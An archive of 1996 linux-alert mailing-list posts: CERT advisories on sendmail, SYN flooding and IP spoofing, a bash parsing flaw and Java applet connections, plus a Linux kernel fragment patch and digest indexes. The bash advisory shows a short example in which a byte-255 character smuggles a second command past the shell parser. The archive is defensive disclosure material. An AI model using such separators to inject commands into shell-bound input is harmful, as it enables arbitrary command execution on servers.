SLS oss443a can also be downloaded interactively via X, Y, or Z MODEM or
Kermit, using the SCO Online Support System (SOS). Follow the menu
selections under "Toolchest" from the main SOS menu.
The phone numbers available for interactive transfer from SOS are:
1-408-426-9495 (USA)
+44 (0)1923 210 888 (United Kingdom)
Checksums
---------
sum -r
------
13804 630 oss443a
35304 14 oss443a.ltr.sse
MD5
---
MD5 (oss443a) = 549260a71ca76f4e98dd38bccb72748c
MD5 (oss443a.ltr.sse) = 7475d83f0db64a1af69eb66cd392a9d3
Be sure to keep track of the README file at ftp://ftp.sco.COM/SSE/README
for updates to this supplement.
If you have further questions, contact your support provider. If you
need to contact SCO, please send electronic mail to [email protected], or
contact SCO as follows.
USA/Canada: 6am-5pm Pacific Daylight Time (PDT)
-----------
1-800-347-4381 (voice)
1-408-427-5443 (fax)
Pacific Rim, Asia, and Latin American customers: 6am-5pm Pacific
------------------------------------------------ Daylight Time
(PDT)
1-408-425-4726 (voice)
1-408-427-5443 (fax)
Europe, Middle East, Africa: 9am-5:30pm Greenwich Mean Time (GMT)
----------------------------
+44 (0)1923 816344 (voice)
+44 (0)1923 817781 (fax)
Silicon Graphics, Inc.
======================
We are analyzing the vulnerability, and will provide additional
information as it becomes available.
Sun Microsystems, Inc.
======================
Sun is working on a patch which will fix both problems, and we expect to
have it out by the end of the month. Also, we will send out a Sun bulletin
on this subject at about the same time.
- ------------------------------------------------------------------------------
The CERT Coordination Center staff thanks Eric Allman, the author of sendmail,
for his extensive assistance with this advisory, Wolfgang Ley of DFN-CERT for
his support in the development of the advisory, and D. J. Bernstein of the
University of Illinois at Chicago for reporting the resource starvation
vulnerability.
- -----------------------------------------------------------------------------
If you believe that your system has been compromised, contact the CERT
Coordination Center or your representative in the Forum of Incident Response
and Security Teams (see ftp://info.cert.org/pub/FIRST/first-contacts).
CERT/CC Contact Information
- ----------------------------
Email [email protected]
Phone +1 412-268-7090 (24-hour hotline)
CERT personnel answer 8:30-5:00 p.m. EST(GMT-5) / EDT(GMT-4)
and are on call for emergencies during other hours.
Fax +1 412-268-6989
Postal address
CERT Coordination Center
Software Engineering Institute
Carnegie Mellon University
Pittsburgh PA 15213-3890
USA
Using encryption
We strongly urge you to encrypt sensitive information sent by email. We can
support a shared DES key or PGP. Contact the CERT/CC for more information.
You can get the CERT PGP key from ftp://info.cert.org/pub/CERT_PGP.key
Location of CERT PGP key
ftp://info.cert.org/pub/CERT_PGP.key
Getting security information
CERT publications and other security information are available from
http://www.cert.org/
ftp://info.cert.org/pub/
CERT advisories and bulletins are also posted on the USENET newsgroup
comp.security.announce
To be added to our mailing list for advisories and bulletins, send your
email address to
[email protected]
- ---------------------------------------------------------------------------
Copyright 1996 Carnegie Mellon University
This material may be reproduced and distributed without permission provided
it is used for noncommercial purposes and the copyright statement is
included.
CERT is a service mark of Carnegie Mellon University.
- ---------------------------------------------------------------------------
This file:
ftp://info.cert.org/pub/cert_advisories/CA-96.20.sendmail_vul
http://www.cert.org
click on "CERT Advisories"
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Revision history
-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
iQCVAwUBMj/++HVP+x0t4w7BAQEoBQP/THORrwVlVF6WbC1zJ3V7fMLC3XSXoG7E
WPbIxciOj1xwA14gvVGXyPMtnH6AmgD7PyzQyifzwu/MrecU3UHfgdjVlpJbRjFJ
XplELdcjt39wKGz9TlurK/iE31PN/gOlcBBukyLjIuq9NHJEi9vN7M0nTp3KmW/b
H66I2ElnY7w=
=tQ1H
-----END PGP SIGNATURE-----
From [email protected] Fri Sep 20 10:24:21 1996
Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id KAA09150; Fri, 20 Sep 1996 10:24:21 -0400
Resent-Date: Fri, 20 Sep 1996 09:51:20 -0400
Resent-From: Jeff Uphoff
Resent-Message-Id: <[email protected]>
Resent-To: [email protected], [email protected]
Message-Id: <[email protected]>
Organization: CERT(sm) Coordination Center - +1 412-268-7090
From: CERT Advisory
To: [email protected]
Subject: [linux-alert] CERT Advisory CA-96.21 - TCP SYN Flooding and IP Spoofing Attacks
Date: Thu, 19 Sep 1996 16:36:42 -0400
X-Mailer: VM 5.95 (beta); GNU Emacs 19.29.1
X-Attribution: Up
Sender: [email protected]
Precedence: special-delivery
-----BEGIN PGP SIGNED MESSAGE-----
=============================================================================
CERT(sm) Advisory CA-96.21
Original issue date: September 19, 1996
Last revised: --
Topic: TCP SYN Flooding and IP Spoofing Attacks
- -----------------------------------------------------------------------------
*** This advisory supersedes CA-95:01. ***
Two "underground magazines" have recently published code to conduct
denial-of-service attacks by creating TCP "half-open" connections. This code
is actively being used to attack sites connected to the Internet. There is,
as yet, no complete solution for this problem, but there are steps that can be
taken to lessen its impact. Although discovering the origin of the attack is
difficult, it is possible to do; we have received reports of attack origins
being identified.
Any system connected to the Internet and providing TCP-based network services
(such as a Web server, FTP server, or mail server) is potentially subject to
this attack. The consequences of the attack may vary depending on the system;
however, the attack itself is fundamental to the TCP protocol used by all
systems.
If you are an Internet service provider, please pay particular attention to
Section III and Appendix A, which describes step we urge you to take to
lessen the effects of these attacks. If you are the customer of an Internet
service provider, please encourage your provider to take these steps.
This advisory provides a brief outline of the problem and a partial solution.
We will update this advisory as we receive new information. If the change in
information warrants, we may post an updated advisory on comp.security.announce
and redistribute an update to our cert-advisory mailing list. As always, the
latest information is available at the URLs listed at the end of this advisory.
- -----------------------------------------------------------------------------
I. Description
When a system (called the client) attempts to establish a TCP connection
to a system providing a service (the server), the client and server
exchange a set sequence of messages. This connection technique applies
to all TCP connections--telnet, Web, email, etc.
The client system begins by sending a SYN message to the server. The
server then acknowledges the SYN message by sending SYN-ACK message to
the client. The client then finishes establishing the connection by
responding with an ACK message. The connection between the client and
the server is then open, and the service-specific data can be exchanged
between the client and the server. Here is a view of this message flow:
Client Server
------ ------
SYN-------------------->
<--------------------SYN-ACK
ACK-------------------->
Client and server can now
send service-specific data
The potential for abuse arises at the point where the server system has
sent an acknowledgment (SYN-ACK) back to client but has not yet received
the ACK message. This is what we mean by half-open connection. The
server has built in its system memory a data structure describing all
pending connections. This data structure is of finite size, and it can be
made to overflow by intentionally creating too many partially-open
connections.
Creating half-open connections is easily accomplished with IP
spoofing. The attacking system sends SYN messages to the victim server
system; these appear to be legitimate but in fact reference a client
system that is unable to respond to the SYN-ACK messages. This means that
the final ACK message will never be sent to the victim server system.
The half-open connections data structure on the victim server system
will eventually fill; then the system will be unable to accept any new
incoming connections until the table is emptied out. Normally there is a
timeout associated with a pending connection, so the half-open
connections will eventually expire and the victim server system will
recover. However, the attacking system can simply continue sending
IP-spoofed packets requesting new connections faster than the victim
system can expire the pending connections.
In most cases, the victim of such an attack will have difficulty in
accepting any new incoming network connection. In these cases, the
attack does not affect existing incoming connections nor the ability to
originate outgoing network connections.
However, in some cases, the system may exhaust memory, crash, or be
rendered otherwise inoperative.
The location of the attacking system is obscured because the source
addresses in the SYN packets are often implausible. When the packet
arrives at the victim server system, there is no way to determine its
true source. Since the network forwards packets based on destination
address, the only way to validate the source of a packet is to use input
source filtering (see Appendix A).
II. Impact
Systems providing TCP-based services to the Internet community may
be unable to provide those services while under attack and for some
time after the attack ceases. The service itself is not harmed by the
attack; usually only the ability to provide the service is impaired.
In some cases, the system may exhaust memory, crash, or be rendered
otherwise inoperative.
III. Solution
There is, as yet, no generally accepted solution to this problem with
the current IP protocol technology. However, proper router configuration
can reduce the likelihood that your site will be the source of one of
these attacks.
Appendix A contains details about how to filter packets to reduce the
number of IP-spoofed packets entering and exiting your network. It also
contains a list of vendors that have reported support for this type of
filtering.
NOTE to Internet Service Providers:
We STRONGLY urge you to install these filters in your routers to
protect your customers against this type of an attack. Although these
filters do not directly protect your customers from attack, the
filters do prevent attacks from originating at the sites of any of your
customers. We are aware of the ramifications of these filters on some
current Mobile IP schemes and are seeking a position statement from
the appropriate organizations.
NOTE to customers of Internet service providers:
We STRONGLY recommend that you contact your service provider to verify
that the necessary filters are in place to protect your network.
Many networking experts are working together to devise improvements to
existing IP implementations to "harden" kernels to this type of attack.
When these improvements become available, we suggest that you install
them on all your systems as soon as possible. This advisory will be
updated to reflect changes made by the vendor community.
IV. Detecting an Attack
Users of the attacked server system may notice nothing unusual since the
IP-spoofed connection requests may not load the system noticeably. The
system is still able to establish outgoing connections. The problem will
most likely be noticed by client systems attempting to access one of the
services on the victim system.
To verify that this attack is occurring, check the state of the server
system's network traffic. For example, on SunOS this may be done by the
command:
netstat -a -f inet
Too many connections in the state "SYN_RECEIVED" indicates that the
system is being attacked.
...........................................................................
Appendix A - Reducing IP Spoofed Packets
1. Filtering Information
- -------------------------
With the current IP protocol technology, it is impossible to eliminate
IP-spoofed packets. However, you can take steps to reduce the number of
IP-spoofed packets entering and exiting your network.
Currently, the best method is to install a filtering router that restricts
the input to your external interface (known as an input filter) by not
allowing a packet through if it has a source address from your internal
network. In addition, you should filter outgoing packets that have a source
address different from your internal network to prevent a source IP spoofing
attack from originating from your site.
The combination of these two filters would prevent outside attackers from
sending you packets pretending to be from your internal network. It would also
prevent packets originating within your network from pretending to be from
outside your network. These filters will *not* stop all TCP SYN attacks, since
outside attackers can spoof packets from *any* outside network, and internal
attackers can still send attacks spoofing internal addresses.
We STRONGLY urge Internet service providers to install these filters in your
routers.
In addition, we STRONGLY recommend customers of Internet service providers to
contact your service provider to verify that the necessary filters are in
place to protect your network.
2. Vendor Information
- ----------------------
The following vendor(s) have reported support for the type of filtering we
recommend and provided pointers to additional information that describes how
to configure your router. If you need more information about your router or
about firewalls, please contact your vendor directly.
Cisco
-----
Refer to the section entitiled "ISP Security Advisory"
on http://www.cisco.com for an up-to-date explanation of
how to address TCP SYN flooding on a Cisco router.
NOTE to vendors:
If you are a router vendor who has information on router capabilities and
configuration examples and you are not represented in this list, please contact
the CERT Coordination Center at the addresses given in the Contact Information
section below. We will update the advisory after we hear from you.
3. Alternative for routers that do not support filtering on the inbound side
- ----------------------------------------------------------------------------
If your vendor's router does not support filtering on the inbound side of the
interface or if there will be a delay in incorporating the feature into your
system, you may filter the spoofed IP packets by using a second router
between your external interface and your outside connection. Configure this
router to block, on the outgoing interface connected to your original router,
all packets that have a source address in your internal network. For this
purpose, you can use a filtering router or a UNIX system with two interfaces
that supports packet filtering.
Note: Disabling source routing at the router does not protect you from this
attack, but it is still good security practice to follow.
On the input to your external interface, that is coming from the Internet to
your network, you should block packets with the following addresses:
* Broadcast Networks: The addresses to block here are network 0 (the all zeros
broadcast address) and network 255.255.255.255 (the all ones broadcast
network).
* Your local network(s): These are your network addresses
* Reserved private networks: The following networks are defined as reserved
private networks and no traffic should ever be received from or transmitted
to these networks through a router:
10.0.0.0
127.0.0.0
172.16.0.0
192.168.0.0
- -----------------------------------------------------------------------------
The CERT Coordination Center staff thanks the team members of NASIRC
for contributing much of the text for this advisory and thanks the many
experts who are devoting time to addressing the problem and who provided input
to this advisory.
- -----------------------------------------------------------------------------
If you believe that your system has been compromised, contact the CERT
Coordination Center or your representative in the Forum of Incident Response
and Security Teams (see ftp://info.cert.org/pub/FIRST/first-contacts).
CERT/CC Contact Information
- ----------------------------
Email [email protected]
Phone +1 412-268-7090 (24-hour hotline)
CERT personnel answer 8:30-5:00 p.m. EST(GMT-5) / EDT(GMT-4)
and are on call for emergencies during other hours.
Fax +1 412-268-6989
Postal address
CERT Coordination Center
Software Engineering Institute
Carnegie Mellon University
Pittsburgh PA 15213-3890
USA
Using encryption
We strongly urge you to encrypt sensitive information sent by email. We can
support a shared DES key or PGP. Contact the CERT/CC for more information.
Location of CERT PGP key
ftp://info.cert.org/pub/CERT_PGP.key
Getting security information
CERT publications and other security information are available from
http://www.cert.org/
ftp://info.cert.org/pub/
CERT advisories and bulletins are also posted on the USENET newsgroup
comp.security.announce
To be added to our mailing list for advisories and bulletins, send your
email address to
[email protected]
- ---------------------------------------------------------------------------
Copyright 1996 Carnegie Mellon University
This material may be reproduced and distributed without permission provided
it is used for noncommercial purposes and the copyright statement is
included.
CERT is a service mark of Carnegie Mellon University.
- ---------------------------------------------------------------------------
This file: ftp://info.cert.org/pub/cert_advisories/CA-96.21.tcp_syn_flooding
http://www.cert.org
click on "CERT Advisories"
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Revision history
-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
iQCVAwUBMkGmUnVP+x0t4w7BAQHPcgP9Fxarwmbfq9rQtj3+CktCU3HtYtX4wgSQ
RW+hl6Z9lig61ha+bgEyEUqj/1ishwlJopgJ7LOMjgfzjGZt/25/+XmHCrOcUSNx
+eoqAcg59eisXtWXFgOLgfcadcH/9dDRHn3WUcXYrAFFpXPREBS66P2Tbo8MlmzX
l0LbKYde7uc=
=iZ8P
-----END PGP SIGNATURE-----
linux-alert/linux-alert.9610100664 1767 1767 32063 6232715330 15177 0ustar majdommajdomFrom [email protected] Wed Oct 9 13:01:15 1996
Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.8.0/$Revision: 2.10 $) id NAA03748; Wed, 9 Oct 1996 13:01:15 -0400
Resent-Date: Wed, 9 Oct 1996 12:49:47 -0400
Resent-From: Jeff Uphoff
Resent-Message-Id: <[email protected]>
Resent-To: [email protected], [email protected]
Message-Id: <[email protected]>
Organization: CERT(sm) Coordination Center - +1 412-268-7090
Reply-To: [email protected]
From: CERT Advisory
To: [email protected]
Subject: [linux-alert] CERT Advisory CA-96.22 - Vulnerabilities in bash
Date: Tue, 8 Oct 1996 10:30:28 -0400
X-Mailer: VM 5.95 (beta); GNU Emacs 19.29.1
X-Attribution: Up
Sender: [email protected]
Precedence: special-delivery
This is now rather old news, but I tend to pass on all CERT advisories
that are related to or affect Linux anyway, primarily for those that
might have missed the news previously.
-----BEGIN PGP SIGNED MESSAGE-----
=============================================================================
CERT(sm) Advisory CA-96.22
Original issue date: October 8, 1996
Last revised: --
Topic: Vulnerabilities in bash
- ------------------------------------------------------------------------------
The original technical content for this advisory
was published by the IBM-ERS response team and
is used here with their permission.
This advisory describes two problems with the GNU Project's Bourne Again
SHell (bash): one in yy_string_get() and one in yy_readline_get().
The vulnerability in yy_string_get() allows the character with value 255
decimal to be used as a command separator. When used in environments where
users provide strings to be used as commands or arguments to commands, bash
can be tricked into executing arbitrary commands.
It is not clear whether the problem with yy_readline_get() results in an
exploitable vulnerability, though you may want to address both problems for
completeness.
The problems affect bash versions 1.14.6 and earlier.
The CERT/CC team recommends that you upgrade to bash 1.14.7 as soon as
possible, as discussed in Section III.A below. Section III.B contains a
patch for 1.14.7, which we recommend using to address the yy_readline_get()
problem.
We will update this advisory as we receive additional information.
Please check advisory files regularly for updates that relate to your site.
- ----------------------------------------------------------------------------
I. Description
A. Introduction
The GNU Project's Bourne Again SHell (bash) is a drop-in replacement
for the UNIX Bourne shell (/bin/sh). It offers the same syntax as the
standard shell, and it also includes additional functionality such as
job control, command line editing, and history.
Although bash can be compiled and installed on almost any UNIX
platform, its most prevalent use is on "free" versions of UNIX such as
Linux, where it has been installed as "/bin/sh" (the default shell for
most uses).
The bash source code is freely available from many sites on the
Internet.
B. Vulnerability Details
1. Vulnerability in yy_string_get()
There is a variable declaration error in the "yy_string_get()"
function in the "parse.y" module of the "bash" source code. This
function is responsible for parsing the user-provided command line
into separate tokens (commands, special characters, arguments, etc.).
The error involves the variable "string", which has been declared to
be of type "char *".
The "string" variable is used to traverse the character string
containing the command line to be parsed. As characters are
retrieved from this pointer, they are stored in a variable of type
"int". On systems/compilers where the "char" type defaults to
"signed char" this value will be sign-extended when it is assigned
to the "int" variable. For character code 255 decimal (-1 in two's
complement form), this sign extension results in the value (-1)
being assigned to the integer.
However, (-1) is used in other parts of the parser to indicate the
end of a command. Thus, the character code 255 decimal (377 octal)
will serve as an unintended command separator for commands given to
bash via the "-c" option. For example,
bash -c 'ls\377who'
(where "\377" represents the single character with value 255 decimal)
will execute two commands, "ls" and "who".
2. Possible vulnerability in yy_readline_get()
A similar problem exists with the "yy_readline_get()" function, which
is also in the file "parse.y" and which is used to read commands in
interactive shells (ones that print a prompt and read from the
keyboard, a shell script, or a pipe).
It is not clear that this problem produces any exploitable
vulnerabilities in the bash program; however, you may wish to
address the problem for the sake of completeness.
II. Impact
This unexpected command separator can be dangerous, especially on systems
such as Linux where bash has been installed as "/bin/sh," when a program
executes a command with a string provided by a user as an argument using
the "system()" or "popen()" functions (or by calling "/bin/sh -c string"
directly).
This is especially true for the CGI programming interface in World Wide
Web servers, many of which do not strip out characters with value 255
decimal. If a user sending data to the server can specify the character
code 255 in a string that is passed to a shell, and that shell is bash,
the user can execute any arbitrary command with the user-id and
permissions of the user running the server (frequently "root").
The bash built-in commands "eval," "source," and "fc" are also
potentially vulnerable to this problem.
III. Solution
A. Vulnerability in yy_string_get
On 27 August 1996, Version 1.14.7 of bash was released. You can
obtain this new version from:
ftp://slc2.ins.cwru.edu/pub/dist/bash-1.14.7.tar.gz
B. Vulnerability in yy_readline_get
It is not clear that this problem produces any exploitable
vulnerabilities in the "bash" program; however, you may wish to
address the problem for the sake of completeness.
This problem can be alleviated by applying the patch below to the
bash source code, then recompiling the program, and installing the
new version.
The patch below is for Version 1.14.7 of bash. Source code for this
version can be obtained from the site listed above.
- ---------------------------------- cut here ---------------------------------
*** parse.y.old Mon Aug 26 11:15:55 1996
- - - - --- parse.y Wed Aug 28 08:49:15 1996
***************
*** 801,807 ****
#if defined (READLINE)
char *current_readline_prompt = (char *)NULL;
! char *current_readline_line = (char *)NULL;
int current_readline_line_index = 0;
static int
- - - - --- 801,807 ----
#if defined (READLINE)
char *current_readline_prompt = (char *)NULL;
! unsigned char *current_readline_line = (unsigned char *)NULL;
int current_readline_line_index = 0;
static int
- --------------------------------- cut here ----------------------------------
To apply this patch, save the text between the two "--- cut here ---"
lines to a file, change directories to the bash source directory,
and issue the command
patch < filename
If you do not have the patch program, you can obtain it from
ftp://prep.ai.mit.edu/pub/gnu/patch-2.1.tar.gz
or you can apply the patch by hand.
After applying the patch, recompile and reinstall the bash program by
following the directions in the "INSTALL" file, included as part of
the bash distribution.
- ----------------------------------------------------------------------------
The CERT Coordination Center thanks IBM-ERS for permission to reproduce the
technical content in their IBM Emergency Response Service Security
Vulnerability Alerts ERS-SVA-E01-1006:004.1 and ERS-SVA-E01-1006:004.2.
These alerts are copyrighted 1996 International Business Machines Corporation.
- ----------------------------------------------------------------------------
If you believe that your system has been compromised, contact the CERT
Coordination Center or your representative in the Forum of Incident Response
and Security Teams (see ftp://info.cert.org/pub/FIRST/first-contacts).
CERT/CC Contact Information
- ---------------------------
Email [email protected]
Phone +1 412-268-7090 (24-hour hotline)
CERT personnel answer 8:30-5:00 p.m. EST(GMT-5) / EDT(GMT-4)
and are on call for emergencies during other hours.
Fax +1 412-268-6989
Postal address
CERT Coordination Center
Software Engineering Institute
Carnegie Mellon University
Pittsburgh PA 15213-3890
USA
Using encryption
We strongly urge you to encrypt sensitive information sent by email. We can
support a shared DES key or PGP. Contact the CERT/CC for more information.
Location of CERT PGP key
ftp://info.cert.org/pub/CERT_PGP.key
Getting security information
CERT publications and other security information are available from
http://www.cert.org/
ftp://info.cert.org/pub/
CERT advisories and bulletins are also posted on the USENET newsgroup
comp.security.announce
To be added to our mailing list for advisories and bulletins, send your
email address to
[email protected]
- -----------------------------------------------------------------------------
Copyright 1996 Carnegie Mellon University
This material may be reproduced and distributed without permission provided
it is used for noncommercial purposes and the copyright statement is
included.
CERT is a service mark of Carnegie Mellon University.
- -----------------------------------------------------------------------------
This file: ftp://info.cert.org/pub/cert_advisories/CA-96.22.bash_vuls
http://www.cert.org
click on "CERT Advisories"
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Revision history
-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
iQCVAwUBMlpe6nVP+x0t4w7BAQGXjQP7BkkMX06QR3nQEV2FV6Qo4p0bVSU88Kef
a9kjcXhJyUM1gE0QnLNo8dbL5PAUvatlRDowZv71l+UTh0BZum8apq+dpOhe+WF+
ko95vQEqKbfSkY7FiTrOY/gKJZWMV31ddlwCldl68OKbuRqQg6hfgWSQX264jWb3
m+nIj5VkuK8=
=Fodb
-----END PGP SIGNATURE-----
From [email protected] Mon Oct 21 11:46:31 1996
Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.8.0/$Revision: 2.10 $) id LAA21521; Mon, 21 Oct 1996 11:46:31 -0400
Resent-Date: Mon, 21 Oct 1996 11:45:26 -0400
Resent-From: Jeff Uphoff
Resent-Message-Id: <[email protected]>
Resent-To: [email protected], [email protected]
Message-Id: <[email protected]>
From: Alan Cox
To: [email protected]
Cc: [email protected], [email protected]
Subject: [linux-alert] URGENT: Bug in linux networking stack
Date: Mon, 21 Oct 1996 10:25:45 +0100
X-Mailer: VM 5.95 (beta); GNU Emacs 19.29.1
X-Attribution: Up
Sender: [email protected]
Precedence: special-delivery
There is a nasty bug whereby AIX, Digital Unix, Linux and possibly some
other systems can be brought down remotely by a suitably constructed
oversize packet. Unfortunately a bug in another well known PC operating
system means its easy to generate such packets.
** This bug is being actively exploited on the internet against all the
** mentioned systems. This fix should be considered essential as should
** other equivalent vendor fixes
The following Linux fix drops such faulty frames and will also be included
in 2.0.24
Alan Cox
[Patch also available from http://www.uk.linux.org/patches/]
--- ip_fragment.c.old Mon Sep 16 22:14:52 1996
+++ ip_fragment.c Sat Oct 19 01:04:47 1996
@@ -366,7 +366,7 @@
{
NETDEBUG(printk("Invalid fragment list: Fragment over size.\n"));
ip_free(qp);
- frag_kfree_skb(skb,FREE_WRITE);
+ kfree_skb(skb,FREE_WRITE);
ip_statistics.IpReasmFails++;
return NULL;
}
@@ -466,6 +466,18 @@
return NULL;
}
}
+
+ /*
+ * Attempt to construct an oversize packet.
+ */
+
+ if(ntohs(iph->tot_len)+(int)offset>65535)
+ {
+ skb->sk = NULL;
+ frag_kfree_skb(skb, FREE_READ);
+ ip_statistics.IpReasmFails++;
+ return NULL;
+ }
/*
* Determine the position of this fragment.
linux-alert-digest/ 42775 1767 1767 0 6235342020 13543 5ustar majdommajdomlinux-alert-digest/CONTENTS100664 1767 1767 5644 6246256234 15044 0ustar majdommajdom
v02.n005:
linux-alert-digest V2 #5
[linux-alert] CERT Advisory CA-96.05 - Java
[linux-alert] NCSA httpd cgi-bin application vulnerability.
v02.n006:
linux-alert-digest V2 #6
[linux-alert] Problem with sliplogin on Linux
v02.n001:
linux-alert-digest V2 #1
CORRECTED(!) Linux Security FAQ Update#10: fvwm vulnerability
LSF Update#10: Another correction.
v02.n002:
linux-alert-digest V2 #2
Linux: dip security hole
dump RedHat security hole
Re: Linux: dip security hole
Red Hat mh inc/msgchk security hole
XFree86 3.1.2 Security Problems
v02.n003:
linux-alert-digest V2 #3
bind() Security Problems
LSF Update#11: Vulnerability of rxvt
Problem with minicom 1.71
abuse Red Hat 2.1 security hole
resizecons Red Hat 2.1 security hole
v02.n004:
linux-alert-digest V2 #4
[linux-alert] SECURITY FIX: New kbd RPM available on ftp.redhat.com
[linux-alert] SECURITY FIX: New kbd RPM available on ftp.redhat.com
v02.n007:
linux-alert-digest V2 #7
[linux-alert] CERT Advisory CA-96.07 - Weaknesses in Java Bytecode Verifier [Forwarded e-mail from CERT]
CERT Advisory CA-96.07 - Weaknesses in Java Bytecode Verifier
[linux-alert] Technical problems...please do not adjust your T.V.
v02.n008:
linux-alert-digest V2 #8
[linux-alert] Yet Another Java Hole.
Another way to run native code from Java applets
[linux-alert] Administrative note regarding subscriptions.
v02.n009:
linux-alert-digest V2 #9
[linux-alert] Serious Security hole in getpwnam ()
Serious Security hole in getpwnam ()
v02.n010:
linux-alert-digest V2 #10
[linux-alert] CERT Advisory CA-96.12 - Vulnerability in suidperl
v02.n011:
linux-alert-digest V2 #11
[linux-alert] CERT Advisory CA-96.13.dip_vul (dip vulnerability).
v02.n012:
linux-alert-digest V2 #12
[linux-alert] Linux NetKit-B update.
[linux-alert] LSF Update#11: Vulnerability of rlogin
v02.n013:
linux-alert-digest V2 #13
[linux-alert] Vulnerability in ALL linux distributions
[linux-alert] SECURITY ALERT/FIX: mount on Red Hat Linux
[linux-alert] SECURITY FIX/UPDATE: anonftp
[linux-alert] SECURITY FIX/UPDATE: anonftp
v02.n014:
linux-alert-digest V2 #14
[linux-alert] Security vulnerability in 'bash'
[linux-alert] Re: [linux-security] RESOLV_HOST_CONF
[linux-alert] LSF Update#13: Vulnerability of mount/umount utilities from util-linux 2.5
v02.n015:
linux-alert-digest V2 #15
[linux-alert] CIAC Bulletin G-42:Vulnerability in WorkMan Program
[linux-alert] CERT Advisory CA-96.20 - Sendmail Vulnerabilities
v02.n016:
linux-alert-digest V2 #16
[linux-alert] CERT Advisory CA-96.21 - TCP SYN Flooding and IP Spoofing Attacks
v02.n017:
linux-alert-digest V2 #17
[linux-alert] CERT Advisory CA-96.22 - Vulnerabilities in bash
v02.n018:
linux-alert-digest V2 #18
[linux-alert] URGENT: Bug in linux networking stack
linux-alert-digest/TOPICS100664 1767 1767 5360 6246256234 14603 0ustar majdommajdom[linux-alert] Administrative note reg... v02.n008
[linux-alert] CERT Advisory CA-96.05 ... v02.n005
[linux-alert] CERT Advisory CA-96.07 ... v02.n007
[linux-alert] CERT Advisory CA-96.12 ... v02.n010
[linux-alert] CERT Advisory CA-96.13.... v02.n011
[linux-alert] CERT Advisory CA-96.20 ... v02.n015
[linux-alert] CERT Advisory CA-96.21 ... v02.n016
[linux-alert] CERT Advisory CA-96.22 ... v02.n017
[linux-alert] CIAC Bulletin G-42:Vuln... v02.n015
[linux-alert] Linux NetKit-B update. v02.n012
[linux-alert] LSF Update#11: Vulnerab... v02.n012
[linux-alert] LSF Update#13: Vulnerab... v02.n014
[linux-alert] NCSA httpd cgi-bin appl... v02.n005
[linux-alert] Problem with sliplogin ... v02.n006
[linux-alert] Re: [linux-security] RE... v02.n014
[linux-alert] SECURITY ALERT/FIX: mou... v02.n013
[linux-alert] SECURITY FIX/UPDATE: an... v02.n013
[linux-alert] SECURITY FIX: New kbd R... v02.n004
[linux-alert] Security vulnerability ... v02.n014
[linux-alert] Serious Security hole i... v02.n009
[linux-alert] Technical problems...pl... v02.n007
[linux-alert] URGENT: Bug in linux ne... v02.n018
[linux-alert] Vulnerability in ALL li... v02.n013
[linux-alert] Yet Another Java Hole. v02.n008
abuse Red Hat 2.1 security hole v02.n003
Another way to run native code from J... v02.n008
bind() Security Problems v02.n003
CERT Advisory CA-96.07 - Weaknesses i... v02.n007
CORRECTED(!) Linux Security FAQ Updat... v02.n001
dump RedHat security hole v02.n002
linux-alert-digest V2 #1 v02.n001
linux-alert-digest V2 #10 v02.n010
linux-alert-digest V2 #11 v02.n011
linux-alert-digest V2 #12 v02.n012
linux-alert-digest V2 #13 v02.n013
linux-alert-digest V2 #14 v02.n014
linux-alert-digest V2 #15 v02.n015
linux-alert-digest V2 #16 v02.n016
linux-alert-digest V2 #17 v02.n017
linux-alert-digest V2 #18 v02.n018
linux-alert-digest V2 #2 v02.n002
linux-alert-digest V2 #3 v02.n003
linux-alert-digest V2 #4 v02.n004
linux-alert-digest V2 #5 v02.n005
linux-alert-digest V2 #6 v02.n006
linux-alert-digest V2 #7 v02.n007
linux-alert-digest V2 #8 v02.n008
linux-alert-digest V2 #9 v02.n009
Linux: dip security hole v02.n002
LSF Update#10: Another correction. v02.n001
LSF Update#11: Vulnerability of rxvt v02.n003
Problem with minicom 1.71 v02.n003
Red Hat mh inc/msgchk security hole v02.n002
resizecons Red Hat 2.1 security hole v02.n003
Serious Security hole in getpwnam () v02.n009
XFree86 3.1.2 Security Problems v02.n002
linux-alert-digest/v02.n005100664 1767 1767 21603 6121505421 14673 0ustar majdommajdomFrom: owner-linux-alert-digest
To: [email protected]
Subject: linux-alert-digest V2 #5
Reply-To: linux-security
Errors-To: owner-linux-alert-digest
Precedence: bulk
linux-alert-digest Wednesday, 13 March 1996 Volume 02 : Number 005
[linux-alert] CERT Advisory CA-96.05 - Java
[linux-alert] NCSA httpd cgi-bin application vulnerability.
----------------------------------------------------------------------
From: CERT Advisory
Date: Tue, 5 Mar 1996 13:34:09 -0500
Subject: [linux-alert] CERT Advisory CA-96.05 - Java
=============================================================================
CERT(sm) Advisory CA-96.05
March 5, 1996
Topic: Java Implementations Can Allow Connections to an Arbitrary Host
- -----------------------------------------------------------------------------
The CERT Coordination Center has received reports of a vulnerability in
implementations of the Java Applet Security Manager. This vulnerability is
present in the Netscape Navigator 2.0 Java implementation and in Release
1.0 of the Java Developer's Kit from Sun Microsystems, Inc. These
implementations do not correctly implement the policy that an applet may
connect only to the host from which the applet was loaded.
The CERT Coordination Center recommends installing patches from the vendors,
and using the workaround described in Section III until patches can be
installed.
As we receive additional information relating to this advisory, we
will place it in
ftp://info.cert.org/pub/cert_advisories/CA-96.05.README
We encourage you to check our README files regularly for updates on
advisories that relate to your site.
- -----------------------------------------------------------------------------
I. Description
There is a serious security problem with the Netscape Navigator 2.0 Java
implementation. The vulnerability is also present in the Java Developer's
Kit 1.0 from Sun Microsystems, Inc. The restriction allowing an applet to
connect only to the host from which it was loaded is not properly
enforced. This vulnerability, combined with the subversion of the DNS
system, allows an applet to open a connection to an arbitrary host on the
Internet.
In these Java implementations, the Applet Security Manager allows an
applet to connect to any of the IP addresses associated with the name
of the computer from which it came. This is a weaker policy than the
stated policy and leads to the vulnerability described herein.
II. Impact
Java applets can connect to arbitrary hosts on the Internet, including
